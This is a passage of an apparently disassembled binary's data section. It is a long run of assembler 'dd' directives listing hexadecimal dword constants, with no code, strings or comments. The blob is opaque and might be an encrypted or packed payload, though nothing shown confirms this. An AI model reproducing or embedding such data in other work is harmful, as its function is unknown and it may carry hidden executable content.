0E0EBA5E9h, 2F974D66h dd 0F7255EBEh, 17A55CB4h, 0FD2D0375h, 0DD242CE8h, 0B408FD59h dd 0B4FEE9CCh, 2E127C45h dd 12895ED3h, 8D117506h, 2CB03E79h, 9819BD9Fh, 7DC26A63h dd 4F34D056h, 8A4BA03Dh, 0E04A0125h, 0B186F6A9h, 7888075h dd 41471374h, 2F1935CDh, 49161AB5h, 0CA8814AEh, 2E109908h dd 0AE0CB75h, 0F6986780h, 0CCB04ECh, 0C28002FEh, 5E82E14Ah dd 0D48D629Dh, 497DDC01h, 0CA88B5D1h, 5F5FA269h, 412B6E5Dh dd 1D17B04h, 883C0D3Bh, 79830FC2h, 829874E4h, 432BF14Eh dd 1D3224Fh, 94455706h, 107D09A5h, 62DE3E3h, 90B92F0h dd 2D03DC14h, 51D0A463h, 0F75322E8h, 29646EC9h, 2D3574C6h dd 59C10504h, 33470CEAh, 616FC64h, 25E786C8h, 4C73FCB5h dd 2B51FCFCh, 0F6E46BE8h, 4017D629h, 80098A06h, 0AAD90AF9h dd 0F360F014h, 88402C0Dh, 0A8B13C9h, 92A9581h, 0E4F6CA2Bh dd 8BCC7C60h, 783CA4F8h, 68FAB42Bh, 0A757450Eh, 8C7021F9h dd 0F4E64374h, 0F85C0173h, 0B7C1B64h, 83CA7D14h, 8A7210E8h dd 13EDBAA3h, 0E50C1D14h, 7408D790h, 56A5F09h, 75D1C058h dd 5908B44Ch, 89EB6CA3h, 6214DF80h, 0EB01DB96h, 0F44D8DC7h dd 25B6DC44h, 0B886542h, 44C2D2A2h, 94A7EBF8h, 4C9C4A2Dh dd 598148BEh, 6FB63DF6h, 1C854064h, 688E89FFh, 0CFCD26DFh dd 1C116CA1h, 6D3D8914h, 0A016EB14h, 2DB7F02Dh, 33174C90h dd 0B8848CD2h, 3B92E794h, 0EAC041A4h, 183D1242h, 0B0F497A5h dd 1D7213F9h, 77240AC7h, 4A16F7F9h, 0D5046AC3h, 0A35773B4h dd 3C85EC11h, 64722CF4h, 50CA1012h, 8B088826h, 6F450A76h dd 2158F1A5h, 0DAAB2DBBh, 0D6CA647Fh, 8D13FE13h, 15F74CEFh dd 0FB278317h, 60D04105h, 0F97670A5h, 49110D95h, 77F63311h dd 5FE8F38Bh, 5DD8128Bh, 970CAAB5h, 0E2DD60C2h, 6305DADh dd 0A7AB900Dh, 809415B1h, 56D1030Dh, 0F67DCA3Bh, 49341E8Dh dd 0B50AB12Bh, 0D427A520h, 0CC680CFh, 8BF7754Ah, 9C3548C4h dd 8E5C3D4Bh, 0DEB28ADh, 0EB838318h, 903D2970h, 20816413h dd 87913D5Dh, 4A828490h, 421E933Dh, 3D370885h, 882798Dh dd 8F3D2124h, 112086E4h, 4684923Dh, 538A220Ah, 6A1E89FFh dd 59D30508h, 0CF0B5D89h, 0FBB4EB5Eh, 3425518Dh, 0E4A4A342h dd 9EEA495h, 5C0BA2EEh, 5D5B1263h, 0ED40BBE2h, 15398898h dd 50561844h, 0A47406B8h, 0E4EC8BEEh, 8860C022h, 40373C6h dd 0F5751039h, 5E49D18Dh, 165008BBh, 13C1503Bh, 2CB1BC74h dd 0E805583Eh, 6FD535F1h, 5BACB3C3h, 22D2801Fh, 7AED2575h dd 0D510F21Ah, 114AD0C4h, 0D8C29E16h, 0FCA8461Eh, 0D2465DE6h dd 0D443E33h, 3C0A1003h, 0FE067620h, 4B77EC1Ah, 74DAD1FAh dd 0E9219204h, 0B92B56F5h, 315B4188h, 58B991E6h, 0B680B662h dd 50118C09h, 74C3073Ah, 403D3C12h, 0E8564701h, 0B1BA2E7Eh dd 6C077F95h, 4C7BEEBh, 81CB29BDh, 294EF3CBh, 0A24885Eh dd 0F6655C1Ah, 0E80903DBh, 5114AB04h, 2423D8Bh, 39741F38h dd 63C0E255h, 0C4D7608h, 3F804559h, 557F2294h, 3B6BBE62h dd 63D41C3h, 0AAD52F51h, 8987BA15h, 5088DE93h, 0FA04EE13h dd 70FD6103h, 0FA5DC975h, 42E88598h, 892F8B62h, 0C90C8E1Dh dd 88F38A1Eh, 3298B012h, 0BC6CBD5Bh, 9A88BE8Dh, 0ECBE0DFAh dd 68FF3B58h, 2A91A144h, 6C44A320h, 0A8FE4B8Bh, 35EC4FD1h dd 2758B74Bh, 954C7053h, 66CF0B5Fh, 88D98190h, 1A1ED542h dd 8A3E5ADFh, 33F441A2h, 3019A249h, 4A9E3165h, 0E8DAF186h dd 0EC365717h, 48641450h, 9D5054B6h, 0F50A319h, 95D96E5Bh dd 14950B2Ah, 218B86D7h, 951BB04Ah, 0B6A1BC56h, 0B0B8DABEh dd 37170996h, 692D967Eh, 9C20386Eh, 508A0F44h, 0FA294001h dd 0A329BF05h, 7BB57514h, 0F3EA403h, 1928501h, 88108A71h dd 5240FD16h, 0EB18D50Ch, 40DA9CEh, 284E1F6Fh, 0EB3AC541h dd 5124A43h, 400AB31Fh, 23DA8A3Fh, 18344C83h, 0CDA48CB7h dd 8B09F620h, 75EE12A6h, 3D0CC41h, 88BC9848h, 97FF664Bh dd 0D182F87h, 7E57C29Eh, 28A4D2Ch, 2886052Ch, 0F154BE03h dd 348AC818h, 558B12BDh, 63F0EE14h, 0A3D8A408h, 5C461786h dd 0ABCE1275h, 89932110h, 0F709552Ch, 0D4A9709h, 0F80D6E84h dd 8D221451h, 8B3C61E4h, 86EEBC2h, 0C130815h, 188D41EAh dd 0FBC2940Fh, 0EBD10C02h, 584BD38Bh, 430E29BCh, 6C60289h dd 0B28B465Ch, 811B8875h, 4A37A822h, 80B8083h, 3F448B7Dh dd 0ED3A535Dh, 2E657BFBh, 0E33C1953h, 2B209306h, 3C0F121Ch dd 2DDB0341h, 7FE9AA04h, 31A5C5F8h, 17F52037h, 9C80F10h dd 2B278303h, 0DFA9DD8Fh, 54DB29D5h, 0B7F008E2h, 0BC045312h dd 0EDEB3C2Dh, 0C9D241A8h, 0A969D2F6h, 0D50A9275h, 6539A5EEh dd 3144AD17h, 59302826h, 3A7D9D40h, 37F05796h, 2441C84h dd 9C8F4AE9h, 498A8120h, 40490C44h, 0BC25091h, 81E3966h dd 401CEC74h, 75181270h, 1307A4F9h, 0AFC62BF2h, 4CD11688h dd 40348FF8h, 85E8606h, 16A7F09Fh, 1D7FF34h, 74EB3B36h dd 0E1336132h, 2AAC1987h, 3A23190Bh, 78B57F55h, 444D69EFh dd 0E61BE70h, 1AE8101Bh, 89193F62h, 0AD8B145Ch, 44E68509h dd 0EBC39F20h, 0CC259553h, 86A6104Ch, 7485B243h, 8461873Ch dd 78C7BEC7h, 83F6F87Dh, 0F72BF605h, 0CE91D6CDh, 0D4CF4C24h dd 0EBFC40ABh, 4CBB0B58h, 7F1813F6h, 11EBB389h, 2511A87Ch dd 7EE6FDC6h, 0BCBD5B4Fh, 0AA44EC12h, 0D3F82F52h, 86E9E882h dd 26663BAAh, 0B81B9F33h, 1698A722h, 0C792229Ch, 2038C9F2h dd 0A6DC026Bh, 9D1D46Bh, 0E1DA801Ah, 46C6B780h, 0A10A0514h dd 8AA14B24h, 0EB1C81EAh, 0E2548DE2h, 6691D8FBh, 0CD48D9Fh dd 0B25AA2Fh, 56CA1AB1h, 0CB994C1h, 98D3016h, 0A36BB8DDh dd 1C0C967Ah, 0EE027C2Eh, 64355039h, 0BF521A7Dh, 90319B64h dd 1D11559h, 80588338h, 8D071589h, 0C1027F88h, 60801873h dd 40080824h, 0FC0F8B0Bh, 7DC195CEh, 0A1D6E426h, 0BB7C0B4Ah dd 0A22EA7Eh, 3B38334Dh, 34FFC7Eh, 8A360CD1h, 0D36A2971h dd 0A0A2E07h, 0A60B7508h, 0EA8D3093h, 92C7D143h, 0FAEF7DCFh dd 890B0CBDh, 7B886108h, 45470E48h, 3BA1C383h, 31BA7CFEh dd 3CED1851h, 8DFFD80Eh, 4D758134h, 120DB85h, 0B5815C04h dd 58F66A0Bh, 0C30967D4h, 39337148h, 34B3F532h, 0E7F9A946h dd 5717E815h, 0FD0CC967h, 3E890610h, 604D191h, 6AA84E80h dd 8ED20F25h, 8170A67h, 0C80DDBBFh, 0AFB8343h, 0FF9B7C03h dd 386E6CB9h, 84AA928Ah, 0BB44BEh, 324356C2h, 0CFE95830h dd 8847ACA4h, 0FCBDBC08h, 85FA5D2Dh, 7E40F72Fh, 0AE044991h dd 44E85682h, 0EFAC1088h, 444332BEh, 87B0273h, 616EE8F7h dd 9076F48Dh, 0B08F4F90h, 563E45E3h, 106B0655h, 321854FFh dd 0B855E5Dh, 78339981h, 534D823Ch, 648AFDE8h, 3D04662Bh dd 32211A56h, 6F08188Bh, 0BE90016Ah, 0E8358F79h, 1F1E23B5h dd 7F0CAC73h, 0A37BFA79h, 0D034B31Bh, 0D6B8A1EBh, 7B8DC7F1h dd 41155819h, 88FF6A5Dh, 668AF280h, 0F9BD2F5Dh, 0BE556441h dd 295EAD5Eh, 501C41C6h, 29187408h, 9425CDE8h, 0A11298C2h dd 50B8F288h, 12B20D9Eh, 3D2D2A79h, 0EF43C314h, 0FC682191h dd 31C57FA4h, 64F4A10Bh, 73B559A0h, 16D13984h, 0C67F29E6h dd 0CDA46F8Eh, 8F58AD1Eh, 29A8B827h, 0B658574h, 38D121BBh dd 56F111A6h, 0E605F46Ch, 14963B03h, 1C1C271Bh, 0AF6D2B01h dd 0E3C87DE6h, 5CFCEB0Dh, 8CFA8162h, 88F11876h, 5C4B858Dh dd 6AA39DFCh, 4B8FB384h dd 115EC9BEh, 0FE1B9418h, 81E3E801h, 446EF93Ah, 0E1FF5713h dd 0E80840BDh, 0AC682BEh, 14CC5940h, 1A29763Ch, 0A4AB5099h dd 0E211827h, 1B078317h, 0A61F036Ah, 0B5859068h, 9364F0D0h dd 0B9AAC425h, 56748A01h, 1109C5BEh, 90ABA8BEh, 70688A0Dh dd 7E7F911Eh, 0D4ACB62Ah, 24C81784h, 1068826Dh, 119B0120h dd 28A448DAh, 0B4B4BEB5h, 0EB5F2F2Ch, 0D5B913FEh, 53423F31h dd 0A61EE836h, 0FC13598Dh, 3DB19BF4h, 0E1FB35DBh, 14B33AE7h dd 1429F25Fh, 5A26D1E8h, 5EF5A550h, 9E4598F1h, 0C7A34FEEh dd 0D1C182Ah, 211B11EBh, 0A014F52Fh, 8FA41332h, 0F6148B6Bh dd 1898984h, 0E6270C71h, 95724B04h, 0BED2AA00h, 3C06D41Fh dd 3440C2Dh, 30448A3Eh, 0C3402204h, 1B86E7A1h, 0BA146A56h dd 7755E13h, 0B94C85E2h, 7DC63B0Bh, 0A3512DD0h, 0B4922E1Ah dd 59C0A77Eh, 3D09D7E9h, 114310EAh, 9856262Eh, 0E8291C20h dd 0EB1965h, 4AE81AB6h, 44A8AA2h, 158BF790h, 0A078719Dh dd 20C039A4h, 0B8F4DAEBh, 33EA7C40h, 48B928D2h, 4AC2721Dh dd 37078DF2h, 0F00E65F1h, 566F22C9h, 92B0FAFh, 42206238h dd 0A8F98118h, 6D47C55h, 44E8C35Eh, 8016B0ADh, 0C8B8743Dh dd 9EE90581h, 0D3507816h, 0BB93BBA8h, 65BE4684h, 4985EBFAh dd 48D323B1h, 77169D70h, 88350339h, 362F5808h, 5BC9D08Dh dd 0F85A1F65h, 4EC2A34Ah, 360C830Dh, 6B2B76DAh, 386CB155h dd 653323Bh, 0D161B71h, 3EEF69AEh, 43B03F9Ch, 3018F21Bh dd 0B092FCA1h, 0C33E019Dh, 0C2923E75h, 5E94E0E4h, 5DC9564Fh dd 282E4728h, 0A004C47Dh, 1CA11DFAh, 55323F56h, 102C0253h dd 82BDF632h, 0A358026Ah, 9C11448Bh, 1CD94324h, 0A1059514h dd 3FE393D6h, 423450CAh, 20739FE9h, 39099491h, 40F9185Dh dd 0D2388E48h, 2084642Dh, 18E240FCh, 0C4407F33h, 0EC6374AEh dd 3C8D124Fh, 0CC4E9DBCh, 80461988h, 16F7FC4Fh, 81B057DCh dd 13784309h, 8FE70BEBh, 0B5C5134Bh, 31BF2C8Fh, 56E09429h dd 3AA36049h, 25A7B656h, 35501432h, 52EEB208h, 658D13E2h dd 9501F7CCh, 91F84E29h, 0F6043331h, 25F123B9h, 25145201h dd 5390908Dh, 1C4A73C2h, 0D5EFCFC4h, 0EB3581D4h, 3E5A2CF1h dd 4A1E4C2Bh, 74ACE485h, 3FA754C9h, 20A99F47h, 5B44D909h dd 43EBC516h, 0E809B4A3h, 0A3667FB6h, 8D173347h, 4552B30Ch dd 92033155h, 0AACF14AFh, 3031122h, 0C1E8EBD6h, 0DFC4EFE7h dd 0FA1184FAh, 0B35626D8h, 73570526h, 0ED29BC52h, 8531E2FFh dd 0A0DD3684h, 7E17E26Bh, 8EE1E4Eh, 81C1001h, 531688EEh dd 19EBBF0Fh, 3D5F50Ah, 141F602h, 78B1024h, 301C2489h dd 0B35B1204h, 74A8F476h, 180DEE99h, 149C9755h, 7C93C42h dd 1328E271h, 3CE9374Ah, 8F393225h, 2BAC8C1Fh, 8349F4C8h dd 4E50089Ch, 0C1A19EB0h, 0EC300C83h, 0CB8DC033h, 73A21616h dd 0F69113CFh, 0EB73013Dh, 1073136Eh, 0EB93F5Fh, 0FC3D203Dh dd 8379C2D0h, 3FB91FE2h, 257401D1h, 5C993070h, 15C2D7FFh dd 0E5D71020h, 0BC12C4ABh, 0A4579101h, 1C2C52B2h, 8A00AFBBh dd 80C1F656h, 0DCFA574Bh, 7431E8A2h, 0C6EC0A09h, 9810FFFCh dd 65803B90h, 4769D70h, 0B30FB867h, 11C520BFh, 4063C5F6h dd 9D0539C0h, 56EB69D5h, 6A240AF5h, 5EC101BCh, 302BC623h dd 0FF952D94h, 0B815AEA4h, 1D89B182h, 0FDE97A42h, 0F48FDB0Ch dd 292523D4h, 401E0910h, 808B0751h, 0F8ED277Fh, 3A267433h dd 18A0200Ah, 0A41307Ah, 6BBC496h, 94EBF01Bh, 77D04575h dd 0FC0C27C8h, 8078EBC2h, 7E0BAF2h, 4408FA4h, 0BFCA2623h dd 7FC861CBh, 5AF07F35h, 0F42AE8CBh, 981DF0CFh, 0F852BAB2h dd 311C93Ch, 0FF6E22E8h, 0F87E02D9h, 21374853h, 2E1B0413h dd 29E6CFBEh, 57056447h, 11064D1Ah, 0EDBE42Bh, 303EE929h dd 78B0510h, 0C22563FBh, 4E72DFECh, 74C7850Fh, 3C0D8513h dd 75B9D457h, 0AD381424h, 0A8425BDEh, 81B58540h, 105352C9h dd 0C424FFF6h, 0B13FAACh, 840B0F7h, 5E6115AAh, 242AF30Ah dd 589F0C06h, 0BEFC6990h, 82CF63A5h, 4E62DFDDh, 1844F2B6h dd 6A3E2EEBh, 9F9CA0C0h, 5E4B4774h, 32F41601h, 0F72978E2h dd 561284C8h, 75E25AB4h, 45DC571Bh, 8838776Bh, 0B496EEA8h dd 8EFCC797h, 456ECD93h, 9660B9Ch, 0A7916E4Ah, 30DF3C08h dd 8A59F982h, 0F34FCE45h, 10CCB42h, 881677CCh, 7A690B45h dd 48F5F347h, 4093DFCh, 8EF77875h, 0F9F62ADAh, 6E8E021Dh dd 0DDD1936Ah, 25D6E41Ah, 0A730BE0Ch, 9D810E75h, 0DDF6EA13h dd 0EB4D740Ch, 0B5136E3Fh, 478A50Bh, 0FB525062h, 0EEEE77E1h dd 3DEC164Bh, 0CA8B1A20h, 0DBB42C3Bh, 12C983E9h, 22ABACFDh dd 50E356CAh, 1CE2753Ah, 3E0DA560h, 19810C2Eh, 78B70B68h dd 8F5C922h, 77E8FD8h, 207E4195h, 0FFE3347Eh, 0E2AB0B64h dd 2A55F17h, 0E89272B9h, 0F09F223Ah, 0D0F7A148h, 80F2367h dd 0FF0B145Ch, 0D7B5A770h, 0F31AA12Fh, 1412FBA5h, 87FD8BFh dd 0F7C62567h, 0D186EB3Bh, 3162B8E8h, 5BC35C71h, 55A6729Fh dd 5716F954h, 106A8403h, 4122458h, 0EF436BDh, 11B817E7h dd 20817910h, 740B0112h, 2D5D2E31h, 0B7037258h, 0D18B56CBh dd 329285BEh, 136664BFh, 32BDD623h, 0C65D1F75h, 0C814F05Bh dd 7BA0811h, 0B75D63Bh, 48C7C714h, 0BBC1C554h, 0A07ECC80h dd 0D4A05EBDh, 0F0A3CD3Bh, 9CB18D5Eh, 26E4D06h, 0C7F65D5Fh dd 5AAD5B10h, 28920A78h, 4AB77B56h, 8E8A167Dh, 1012F998h dd 20470104h, 488DEAF7h, 14CF4AA2h, 0CAC488BAh, 0D51D32BEh dd 6A82C31Ah, 0D664CE3Bh, 0F80D7532h, 73B7E30Ch, 6B86A40Ah dd 0C775A04h, 6D745F0Ch, 20514F0Ch, 0E950B2Bh, 5EC28522h dd 41835010h, 104B928Bh, 0C4FF3134h, 69E1EAB3h, 0F0F51FD9h dd 37101F9Fh, 717EA16h, 2183CA2Bh, 0F8E2D3FFh, 140785D2h dd 461C75B0h, 7D03FED0h, 0F7C5B811h, 969938E1h, 0EBC01C0Eh dd 0F27C2315h, 0DC5E25BCh, 0BB6BEBF2h, 26BA964Eh, 4D8B88B3h dd 780C52D4h, 6C1F2EB3h, 0D3A45559h, 12F878BFh, 0FAD5E837h dd 354E09C8h, 0FB391C78h, 1401559h, 0D7BE2F91h, 0B89417BEh dd 9E7265Fh, 9A67FBAFh, 43D5B50Ch, 59BA25B0h, 5F435BF4h dd 0C3CF0A01h, 65B4995Eh, 4734FAC8h, 4A5E1483h, 2F97B18Ah dd 11402712h, 8B5AF22Bh, 85BCA1CEh, 4F215E20h, 141DC843h dd 11D86FEBh, 0A591BD0Eh, 500F464Eh, 0B9D1FC74h, 2F2C41E6h dd 0FE2139C2h, 9962C1Eh, 3F7AC13Bh, 42C8FF81h, 0DA8B829Dh dd 4ED68150h, 8254DF7h, 546C5F93h, 1230BE38h, 41013489h dd 0F5754A06h, 0A5897B5Eh, 0CEB8CF55h, 7A89EE92h, 420D2648h dd 24F92341h, 0A454E9D3h, 0C222CF23h, 5B087D13h, 995409BEh dd 0C2D8A90Bh, 0CF040345h, 0C31C8AAh, 6BDDD8AAh, 2E80D419h dd 0F8DA2BE6h, 0A007F0D6h, 0ABCE23E4h, 0E8231BDBh, 20D63E0Bh dd 0CB1892EBh, 4E4412B1h, 0EED911BBh, 98DC7519h, 5BBF60F4h dd 8EAF7ECh, 79E05958h, 7C2A75B8h, 0EEFFC20Fh, 40BBD5Ch dd 0EB296110h, 83AF67BFh, 0D54B54C1h, 0E079F8E9h, 644C719Dh dd 18BCBB18h, 48EA0792h, 0C5D9F40Ah, 0FDFED430h, 6647E0Fh dd 20DF40Ch, 0B416C330h, 0C30D8110h, 0EBD9307Fh, 1E443FD9h dd 24E086AAh, 0C001FB13h, 0FC1752ADh, 0F47A8075h, 43B5F633h dd 31F2FCEFh, 6D49B35Eh, 0FEC52429h, 7DD05902h, 12C1E929h dd 93E36BAFh, 2A2D72B7h dd 45220877h, 7AB37A1Fh, 0A8430117h, 2BE640D2h, 4C4B4F58h dd 1D0C2AF1h, 159A944h, 0D83B3CEBh, 212B3F7Fh, 90D97A54h dd 66763191h, 52145613h, 0D4C44BAEh, 0C8618FDh, 5424A440h dd 0A2205994h, 0DC72FF98h, 2A1F3B3Bh, 56541728h, 0D2950C31h dd 6D108921h, 7B778B11h, 480346B4h, 0E91FA237h, 0D61FAA52h dd 0F7E70525h, 322017Fh, 3B49E8F3h, 50D249BCh, 38629EC1h dd 9442107Fh, 0F7177BDCh, 255513FFh, 0B30075Eh, 82DF29F1h dd 4340FF21h, 362E49EDh, 0E4DCF825h, 306FC839h, 7520240Ah dd 31FA8B05h, 682F6C46h, 0F4A30BC0h, 4D825133h, 2C23F39Fh dd 746C44D8h, 0FD2A2599h, 1D154AF8h, 0D5AC7C0Dh, 7D0E4127h dd 0C0B9092h, 24D11857h, 0E42DA7C9h, 87953C14h, 0EF23DCA5h dd 4AEB385Bh, 7E5480BDh, 60FC601h, 0EFDB8530h, 7D1F29C7h dd 99334707h, 0F4AD4354h, 51BE1D62h, 5A300141h, 0FF401088h dd 0E975EE41h, 35786FA7h, 127C50C7h, 0AA353973h, 1863550Dh dd 0F8DF17BDh, 0F5EB0E7Ch, 3E0C1FFEh, 3EFF1831h, 12020442h dd 74A6E857h, 789DA9FDh, 7CAD219Bh, 38BF1012h, 5955654h dd 9D6357A3h, 590F844Fh, 2371DF2h, 46B80868h, 11E42558h dd 0FC8B41C3h, 9A668BA5h, 0D4C87FE8h, 2FD930A3h, 8741187Ch dd 15BF0A05h, 5F0B28B3h, 1FEDBFEBh, 0B2C5A2Eh, 0DCD4A58h dd 5AF7090Ch, 41A6F739h, 3D5832A5h, 6420566h, 44AAFFBFh dd 0C825C893h, 0F198C1CFh, 24CF232Ch, 698E2EB7h, 0D9D08312h dd 80FB25BEh, 0CF75238Fh, 1291EC5Bh, 0BB81374h, 0E0B92850h dd 3A249F3Ch, 0DDE9C9BFh, 8E6F7C21h, 8BD38E12h, 0FF1F290Eh dd 0BC663D91h, 4BEB990Ch, 0B115014Eh, 968A31E6h, 80E15AEh dd 43C82D0Bh, 6107DDDAh, 0A9DDB9E2h, 0CECB04DFh, 8E9A1DBAh dd 0DA80C903h, 0B1FEBC1h, 0C8DD905h, 40068912h, 88E0C781h dd 4DEBCB91h, 0B1813DFh, 8489ACFh, 1253E6B7h, 0BC72E802h dd 0CB64E61h, 0B6065E74h, 9014213Fh, 0E941A70Eh, 4A8ACC6Bh dd 0A6EA38A1h, 0B14922Bh, 0B1576A40h, 1C3C09EFh, 1691641h dd 68E05E25h, 0E7279E68h, 1C298441h, 1F18A34Ah, 0F351AC3h dd 0C84E121Bh, 6D29C312h, 0A3182692h, 0F674643Ch, 1C1B38E1h dd 0BD118410h, 1429A038h, 0A6AE034h, 7EB55CE8h, 0B1617EEh dd 1D541394h, 0ED9F0347h, 0E76F208Fh, 0F1B44A12h, 39152574h dd 5B3939D6h, 56AFAB94h, 4E2AE979h, 0AA1820F0h, 391748AEh dd 0AC51BD1Dh, 4F531316h, 6607D5C1h, 381C196Fh, 58DA8501h dd 29BBE1EBh, 1CCC3B61h, 0D5A14A4Dh, 7E97F060h, 45392A00h dd 332F7C10h, 8AECBC9h, 5F7F0BFFh, 7A56A711h, 0A0D0DAA6h dd 60752D44h, 572559Dh, 17A5E38h, 66AD935Eh, 0FC4584B3h dd 1650D93Eh, 0AC3F8FDCh, 0A97913C2h, 0DBCA271Eh, 6A0E897Dh dd 3163B6DEh, 0B72C5E9Ch, 2DAF4BE8h, 81DC6F35h, 40F90C80h dd 200A1573h, 0A53D60EBh, 0E0D3C219h, 0D0BFD050h, 921FE19Eh dd 3F94FEE2h, 0B5FF0B3h, 0ACF65672h, 2011DCC9h, 0F085A9Ah dd 20F327Ch, 7E832E03h, 52FDEBDCh, 0C9EF5F1Ah, 463B0740h dd 9009F9FFh, 140F0428h, 0F6CD8940h, 1174D858h, 300EFF35h dd 0F351EB8h, 6688BF23h, 8811A0C3h, 7993DF18h, 0EF240489h dd 0AB4F3DDEh, 8D997FC3h, 0F8BC41E1h, 0B6432EB8h, 1407E80Bh dd 0E05FF21h, 0A451C316h, 0ED4A3311h, 0FC682AC1h, 0E874122Eh dd 402D1BC1h, 981DB031h, 0D4364A9h, 0B3E84288h, 0BC195D12h dd 7B0621F5h, 48682044h, 41583FCCh, 6BE3E11h, 260212D5h dd 150A142h, 6B0DC09Ch, 39663CC0h, 158E2D35h, 0A35A4701h dd 8D94A8F0h, 805F5215h, 0F66BF135h, 0C6033C15h, 0E2476414h dd 0A11B7443h, 3B3C0FF6h, 2B128DC5h, 0C43B50C1h, 0A340063Fh dd 0EB2811F8h, 10838A0Ch, 7E8A0C7Eh, 188B9366h, 5550E7B8h dd 0BF3F6A12h, 7C2A4EF3h, 6853199Dh, 7A57834Ch, 15D4F1E2h dd 586C391Ah, 3A1E505h, 3F60801Eh, 0B089229h, 41452015h dd 0D45ABE3Fh, 208FA03Ah, 13F20CBh, 74553E82h, 80A142B0h dd 2FE94298h, 0D11C1DD6h, 22264232h, 0B2B1F4A1h, 0E8653011h dd 9A6BEC27h, 61667740h, 0D1B96D0h, 2A7142E8h, 6FB1368Bh dd 83E9F593h, 9E8C3A70h, 1CA351C5h, 2830CD7Bh, 6E417EA6h dd 0B3E61B31h, 5E55F2C4h, 86A52114h, 5A03C683h, 0D9448E95h dd 0D17E2DDFh, 8C5F461Ch, 0CB6C4B94h, 0BA305CB3h, 0ABC96913h dd 9F89C8B0h, 85BD8864h, 0A2C42B46h, 77C42C1h, 0D7F39E0h dd 0EFEB4603h, 4E75F462h, 1D5C91F1h, 31214455h, 0C8032711h dd 2B0A2F59h, 2311F321h, 8DBEF22Ah, 0FD3BC328h, 0D9F7C414h dd 10BE9219h, 159AC45Ah, 0B94288F7h, 0E809432Bh, 0A611789Ch dd 12E38A27h, 356C8AB6h, 0C8A820C5h, 0F734BE96h, 370410EAh dd 225CB24Ah, 20EA914Ch, 0A45B4CD9h, 53B1409h, 15C35F92h dd 97981022h, 24DA9357h, 6428405Ah, 0B7865DCCh, 321BEE0Dh dd 0E02A6651h, 0EC1E2113h, 39EA1132h, 647508E8h, 4AE4151Dh dd 0E6141357h, 40E2C81Bh, 14EB5350h, 575314ACh, 0F74C6915h dd 10EC9C0h, 9A0560A0h, 322C7C8Ah, 50268CC5h, 8985325h dd 94909623h, 15287586h, 0A1579044h, 1B4C9213h, 40BF848Eh dd 0BF575397h, 2C050A53h, 1F6242EBh, 0C5209B57h, 0EB4F211Fh dd 6A0218DDh, 5308C902h, 9AE9E1F0h, 1B5F90FCh, 0B205A312h dd 7B44910Ah, 8B12580Ch, 0E468C15h, 0F60B9CA1h, 3B1C074Eh dd 401E7DD0h, 0BF8C0FCAh, 3C3E089Eh, 0B78F14C8h, 7ECA1B08h dd 1A7DE128h, 4C16272Ah, 0F6627C14h, 0BF27F24h, 112A3008h dd 26E14F95h, 0C4420425h, 6068504h, 6005E2EAh, 330F7538h dd 426C90C9h, 0C19D1390h, 0A1748DFCh, 9C08A00Fh, 55EF1AC9h dd 1443064h, 1565810h, 3F418938h, 391A04D6h, 3AC6583h dd 2D5126FEh, 86EA420Eh, 9EB0A2Eh, 76D4910Bh, 0C5BCD35Bh dd 6DD26908h, 0FF0CFEBCh, 30F8C157h, 76A1DF9h, 8489FE03h dd 1A40253Ah, 0F750995Fh, 1877458Bh, 1C553B04h, 7010E7Fh dd 0FB03C22Bh, 0FEC0FBD4h, 0AC0AEBF9h, 0C179900Eh, 750518EAh dd 0EAD6A38h, 0B68B0805h, 6610CA4h, 3B88D810h, 207E07CEh dd 0F507E983h, 0FD89531Bh, 14093CC0h, 0CD81850Ch, 7F011307h dd 40934D03h, 32AEE87Dh, 6224422Bh, 1B378BA7h, 28AA2E3Eh dd 150CA3B8h, 1298FD2Ch, 0F9A4A330h, 2B55EB2Ah, 6D09C42h dd 4862052Eh, 66017A2Bh, 3E050D79h, 492A34A8h, 11EB100Dh dd 0ABE96BAh, 15B70EF4h, 46421341h, 95D2295Ch, 0B8DA1CBAh dd 0A1F4AD5Fh, 0E42EB60Fh, 24C94C61h, 42627C84h, 1FF61C75h dd 0EB2842Fh, 45041AC0h, 1B2B962Ah, 0E8FC3E23h, 175C5A6h dd 0AA4824FFh, 0B8FC1921h, 759F420Ch, 74274A36h, 7F64DD67h dd 1C246816h, 0AF623EE1h, 0A2AA328h, 14685074h, 281C4F11h dd 5CA37008h, 0D99DCDB9h, 45A10F04h, 3245FB0Ch, 96ABD0FFh dd 0A129F206h, 50A1104h, 55271253h, 483BD4Ch, 4E152228h dd 4269FE95h, 0E657F8EBh, 0F081239h, 622E8AFh, 8957E0FEh dd 0BE774B16h, 0B27FAE69h, 5877125Ch, 1A989CEFh, 4BA4C79Ch dd 2E771D31h, 9F20CE78h, 92AD9BFh, 697E4C75h, 5D3E029Ah dd 129105F1h, 60AA39C5h, 6A563F21h, 1EF9085Fh, 7F2475F1h dd 1B2093B7h, 0DEC2E24Eh, 17D67885h, 0F88BEB19h, 27049388h dd 34BE62D8h, 0D9A4BE93h, 0ECEB2A56h, 82F54AB1h, 94850339h dd 5D98BE5Eh, 2F858744h dd 0C41D40F6h, 71E80D98h, 54D3B768h, 0BC47010Ah, 177C1405h dd 34C2245Fh, 5093E8B0h, 590D8806h, 0E1247E83h, 2D54A76Fh dd 966A7BBCh, 1015F2B8h, 0AB4A6A63h, 5333D4Bh, 32AB1D6Ch dd 0F71215D7h, 0F68742CFh, 194C844h, 9382E8FAh, 0E9C14684h dd 2C3AD2E2h, 30C80838h, 480244EBh, 2A225BCAh, 6F6995D6h dd 7EFC512Bh, 85226F6Fh, 9AD2FF8Dh, 0EB082894h, 0A0DC2761h dd 5AAA664Ch, 0EA32AE0Bh, 3B93980Ch, 6D7D58F8h, 2A50C714h dd 0F53EF79Dh, 745261DAh, 184A5008h, 3AFBD7EBh, 5EC2A724h dd 4A165F0Ah, 795B0995h, 9D5C1A73h, 40BE82D7h, 2275767Dh dd 92385511h, 0EB4D0C8Bh, 0E9FA2C4h, 0EB4E914Eh, 0F61B29C1h dd 2F608A7h, 94154832h, 771A9D45h, 3E485A7Ch, 0FA120810h dd 0C69560D1h, 0D4FEB5Fh, 0AA4E6DDAh, 0B26F3CDDh, 8DC01D65h dd 880F3217h, 0DA09D672h, 0C1E07A73h, 895E1033h, 0A9A92B0Ah dd 7567C89h, 0A9A03797h, 0A72AEDCBh, 0D6172785h, 0DE632D8Eh dd 556230FAh, 0FA031439h, 170FDEE2h, 319977EEh, 8B731F9Fh dd 0C98748BCh, 561983FBh, 78E130BCh, 3CED8DFh, 95D89FF6h dd 0C13F3401h, 0F10B1FE9h, 0AE6177FAh, 470FCD7h, 0D1FAEAFAh dd 3F8E14Eh, 50CD2ED1h, 5E3FFB36h, 0ECF92EF2h, 